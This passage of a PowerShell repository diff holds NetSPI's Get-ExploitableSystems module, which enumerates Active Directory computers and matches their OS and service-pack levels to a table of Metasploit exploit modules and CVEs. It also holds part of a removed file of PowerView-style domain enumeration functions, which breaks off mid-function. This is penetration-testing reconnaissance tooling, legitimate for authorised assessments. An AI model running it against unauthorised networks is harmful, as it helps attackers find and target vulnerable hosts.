.DESCRIPTION
|
||||
This module will query Active Directory for the hostname, OS version, and service pack level
|
||||
for each computer account. That information is then cross-referenced against a list of common
|
||||
Metasploit exploits that can be used during penetration testing. The script filters out disabled
|
||||
domain computers and provides the computer's last logon time to help determine if it's been
|
||||
decommissioned. Also, since the script uses data tables to output affected systems the results
|
||||
can be easily piped to other commands such as test-connection or a Export-Csv.
|
||||
|
||||
.EXAMPLE
|
||||
The example below shows the standard command usage. Disabled system are excluded by default, but
|
||||
the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't
|
||||
logged on for two or more weeks it's been decommissioned.
|
||||
|
||||
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
|
||||
[*] Grabbing computer accounts from Active Directory...
|
||||
[*] Loading exploit list for critical missing patches...
|
||||
[*] Checking computers for vulnerable OS and SP levels...
|
||||
[+] Found 5 potentially vulnerabile systems!
|
||||
|
||||
ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE
|
||||
------------ --------------- ----------- --------- --------- ---
|
||||
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
|
||||
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
|
||||
DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
|
||||
|
||||
.EXAMPLE
|
||||
The example below shows how to write the output to a csv file.
|
||||
|
||||
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Export-Csv c:\temp\output.csv -NoTypeInformation
|
||||
|
||||
.EXAMPLE
|
||||
The example below shows how to pipe the resultant list of computer names into the test-connection to determine if they response to ping
|
||||
requests.
|
||||
|
||||
PS C:\> Get-ExploitableSystems -DomainController 192.168.1.1 -Credential demo.com\user | Test-Connection
|
||||
|
||||
.LINK
|
||||
http://www.netspi.com
|
||||
|
||||
.NOTES
|
||||
Author: Scott Sutherland - 2015, NetSPI
|
||||
Version: Get-ExploitableSystems.psm1 v1.0
|
||||
Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
|
||||
function found in Carols Perez's PoshSec-Mod project. The general idea is based off of
|
||||
Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
|
||||
|
||||
#>
|
||||
function Get-ExploitableSystems
|
||||
{
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Credentials to use when connecting to a Domain Controller.")]
|
||||
[System.Management.Automation.PSCredential]
|
||||
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Domain controller for Domain and Site that you want to query against.")]
|
||||
[string]$DomainController,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")]
|
||||
[int]$Limit = 1000,
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")]
|
||||
[ValidateSet("Subtree","OneLevel","Base")]
|
||||
[string]$SearchScope = "Subtree",
|
||||
|
||||
[Parameter(Mandatory=$false,
|
||||
HelpMessage="Distinguished Name Path to limit search to.")]
|
||||
[string]$SearchDN
|
||||
)
|
||||
Begin
|
||||
{
|
||||
if ($DomainController -and $Credential.GetNetworkCredential().Password)
|
||||
{
|
||||
$objDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password
|
||||
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
|
||||
}
|
||||
else
|
||||
{
|
||||
$objDomain = [ADSI]""
|
||||
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
|
||||
}
|
||||
}
|
||||
|
||||
Process
|
||||
{
|
||||
|
||||
# Status user
|
||||
Write-Host "[*] Grabbing computer accounts from Active Directory..."
|
||||
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Setup data table for domain computer information
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
# Create data table for hostnames, os, and service packs from LDAP
|
||||
$TableAdsComputers = New-Object System.Data.DataTable
|
||||
$TableAdsComputers.Columns.Add('Hostname') | Out-Null
|
||||
$TableAdsComputers.Columns.Add('OperatingSystem') | Out-Null
|
||||
$TableAdsComputers.Columns.Add('ServicePack') | Out-Null
|
||||
$TableAdsComputers.Columns.Add('LastLogon') | Out-Null
|
||||
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Grab computer account information from Active Directory via LDAP
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
$CompFilter = "(&(objectCategory=Computer))"
|
||||
$ObjSearcher.PageSize = $Limit
|
||||
$ObjSearcher.Filter = $CompFilter
|
||||
$ObjSearcher.SearchScope = "Subtree"
|
||||
|
||||
if ($SearchDN)
|
||||
{
|
||||
$objSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)")
|
||||
}
|
||||
|
||||
$ObjSearcher.FindAll() | ForEach-Object {
|
||||
|
||||
# Setup fields
|
||||
$CurrentHost = $($_.properties['dnshostname'])
|
||||
$CurrentOs = $($_.properties['operatingsystem'])
|
||||
$CurrentSp = $($_.properties['operatingsystemservicepack'])
|
||||
$CurrentLast = $($_.properties['lastlogon'])
|
||||
$CurrentUac = $($_.properties['useraccountcontrol'])
|
||||
|
||||
# Convert useraccountcontrol to binary so flags can be checked
|
||||
# http://support.microsoft.com/en-us/kb/305144
|
||||
# http://blogs.technet.com/b/askpfeplat/archive/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory.aspx
|
||||
$CurrentUacBin = [convert]::ToString($CurrentUac,2)
|
||||
|
||||
# Check the 2nd to last value to determine if its disabled
|
||||
$DisableOffset = $CurrentUacBin.Length - 2
|
||||
$CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
|
||||
|
||||
# Add computer to list if it's enabled
|
||||
if ($CurrentDisabled -eq 0){
|
||||
|
||||
# Add domain computer to data table
|
||||
$TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) | Out-Null
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Status user
|
||||
Write-Host "[*] Loading exploit list for critical missing patches..."
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Setup data table for list of msf exploits
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
# Create data table for list of patches levels with a MSF exploit
|
||||
$TableExploits = New-Object System.Data.DataTable
|
||||
$TableExploits.Columns.Add('OperatingSystem') | Out-Null
|
||||
$TableExploits.Columns.Add('ServicePack') | Out-Null
|
||||
$TableExploits.Columns.Add('MsfModule') | Out-Null
|
||||
$TableExploits.Columns.Add('CVE') | Out-Null
|
||||
|
||||
# Add exploits to data table
|
||||
$TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") | Out-Null
|
||||
$TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") | Out-Null
|
||||
|
||||
|
||||
|
||||
# Status user
|
||||
Write-Host "[*] Checking computers for vulnerable OS and SP levels..."
|
||||
|
||||
# ----------------------------------------------------------------
|
||||
# Setup data table to store vulnerable systems
|
||||
# ----------------------------------------------------------------
|
||||
|
||||
# Create data table to house vulnerable server list
|
||||
$TableVulnComputers = New-Object System.Data.DataTable
|
||||
$TableVulnComputers.Columns.Add('ComputerName') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('OperatingSystem') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('ServicePack') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('LastLogon') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('MsfModule') | Out-Null
|
||||
$TableVulnComputers.Columns.Add('CVE') | Out-Null
|
||||
|
||||
# Iterate through each exploit
|
||||
$TableExploits |
|
||||
ForEach-Object {
|
||||
|
||||
$ExploitOS = $_.OperatingSystem
|
||||
$ExploitSP = $_.ServicePack
|
||||
$ExploitMsf = $_.MsfModule
|
||||
$ExploitCve = $_.CVE
|
||||
|
||||
# Iterate through each ADS computer
|
||||
$TableAdsComputers |
|
||||
ForEach-Object {
|
||||
|
||||
$AdsHostname = $_.Hostname
|
||||
$AdsOS = $_.OperatingSystem
|
||||
$AdsSP = $_.ServicePack
|
||||
$AdsLast = $_.LastLogon
|
||||
|
||||
# Add exploitable systems to vul computers data table
|
||||
if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ){
|
||||
|
||||
# Add domain computer to data table
|
||||
$TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,[dateTime]::FromFileTime($AdsLast),$ExploitMsf,$ExploitCve) | Out-Null
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Display results
|
||||
$VulnComputer = $TableVulnComputers | select ComputerName -Unique | measure
|
||||
$vulnComputerCount = $VulnComputer.Count
|
||||
If ($VulnComputer.Count -gt 0){
|
||||
|
||||
# Return vulnerable server list order with some hack date casting
|
||||
Write-Host "[+] Found $vulnComputerCount potentially vulnerabile systems!"
|
||||
$TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
|
||||
|
||||
}else{
|
||||
|
||||
Write-Host "[-] No vulnerable systems were found."
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
End
|
||||
{
|
||||
|
||||
}
|
||||
}
|
|
@ -1,311 +0,0 @@
|
|||
|
||||
function Test-Server {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Tests a connection to a remote server.
|
||||
|
||||
.DESCRIPTION
|
||||
This function uses either ping (test-connection) or RPC
|
||||
(through WMI) to test connectivity to a remote server.
|
||||
|
||||
.PARAMETER Server
|
||||
The hostname/IP to test connectivity to.
|
||||
|
||||
.OUTPUTS
|
||||
$True/$False
|
||||
|
||||
.EXAMPLE
|
||||
> Test-Server -Server WINDOWS7
|
||||
Tests ping connectivity to the WINDOWS7 server.
|
||||
|
||||
.EXAMPLE
|
||||
> Test-Server -RPC -Server WINDOWS7
|
||||
Tests RPC connectivity to the WINDOWS7 server.
|
||||
|
||||
.LINK
|
||||
http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline=$true)]
|
||||
[String]
|
||||
$Server,
|
||||
|
||||
[Switch]
|
||||
$RPC
|
||||
)
|
||||
|
||||
process {
|
||||
if ($RPC){
|
||||
$WMIParameters = @{
|
||||
namespace = 'root\cimv2'
|
||||
Class = 'win32_ComputerSystem'
|
||||
ComputerName = $Name
|
||||
ErrorAction = 'Stop'
|
||||
}
|
||||
if ($Credential -ne $null)
|
||||
{
|
||||
$WMIParameters.Credential = $Credential
|
||||
}
|
||||
try
|
||||
{
|
||||
Get-WmiObject @WMIParameters
|
||||
}
|
||||
catch {
|
||||
Write-Verbose -Message 'Could not connect via WMI'
|
||||
}
|
||||
}
|
||||
# otherwise, use ping
|
||||
else{
|
||||
Test-Connection -ComputerName $Server -count 1 -Quiet
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomainController {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return the current domain controllers for the active domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for domain controllers. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController
|
||||
Returns the domain controllers for the current computer's domain.
|
||||
Approximately equivialent to the hostname given in the LOGONSERVER
|
||||
environment variable.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomainController -Domain test
|
||||
Returns the domain controllers for the domain "test".
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.DomainControllers
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns the name of the current user's domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query return. If not supplied, the
|
||||
current domain is used.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetDomain
|
||||
Return the current domain.
|
||||
|
||||
.LINK
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
function Get-NetComputer {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets an array of all current computers objects in a domain.
|
||||
|
||||
.DESCRIPTION
|
||||
This function utilizes adsisearcher to query the current AD context
|
||||
for current computer objects. Based off of Carlos Perez's Audit.psm1
|
||||
script in Posh-SecMod (link below).
|
||||
|
||||
.PARAMETER HostName
|
||||
Return computers with a specific name, wildcards accepted.
|
||||
|
||||
.PARAMETER SPN
|
||||
Return computers with a specific service principal name, wildcards accepted.
|
||||
|
||||
.PARAMETER OperatingSystem
|
||||
Return computers with a specific operating system, wildcards accepted.
|
||||
|
||||
.PARAMETER ServicePack
|
||||
Return computers with a specific service pack, wildcards accepted.
|
||||
|
||||
.PARAMETER Ping
|
||||
Ping each host to ensure it's up before enumerating.
|
||||
|
||||
.PARAMETER FullData
|
||||
Return full user computer objects instead of just system names (the default).
|
||||
|
||||
.PARAMETER Domain
|
||||
The domain to query for computers.
|
||||
|
||||
.OUTPUTS
|
||||
System.Array. An array of found system objects.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetComputer
|
||||
Returns the current computers in current domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetComputer -SPN mssql*
|
||||
Returns all MS SQL servers on the domain.
|
||||
|
||||
.EXAMPLE
|
||||
> Get-NetComputer -Domain testing
|
||||
Returns the current computers in 'testing' domain.
|
||||
|
||||
> Get-NetComputer -Domain testing -FullData
|
||||
Returns full computer objects in the 'testing' domain.
|
||||
|
||||
.LINK
|
||||
https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(ValueFromPipeline=$True)]
|
||||
[string]
|
||||
$HostName = '*',
|
||||
|
||||
[string]
|
||||
$SPN = '*',
|
||||
|
||||
[string]
|
||||
$OperatingSystem = '*',
|
||||
|
||||
[string]
|
||||
$ServicePack = '*',
|
||||
|
||||
[Switch]
|
||||
$Ping,
|
||||
|
||||
[Switch]
|
||||
$FullData,
|
||||
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
process {
|
||||
# if a domain is specified, try to grab that domain
|
||||
if ($Domain){
|
||||
|
||||
# try to grab the primary DC for the current domain
|
||||
try{
|
||||
$PrimaryDC = ([Array](Get-NetDomainController))[0].Name
|
||||
}
|
||||
catch{
|
||||
$PrimaryDC = $Null
|
||||
}
|
||||
|
||||
try {
|
||||
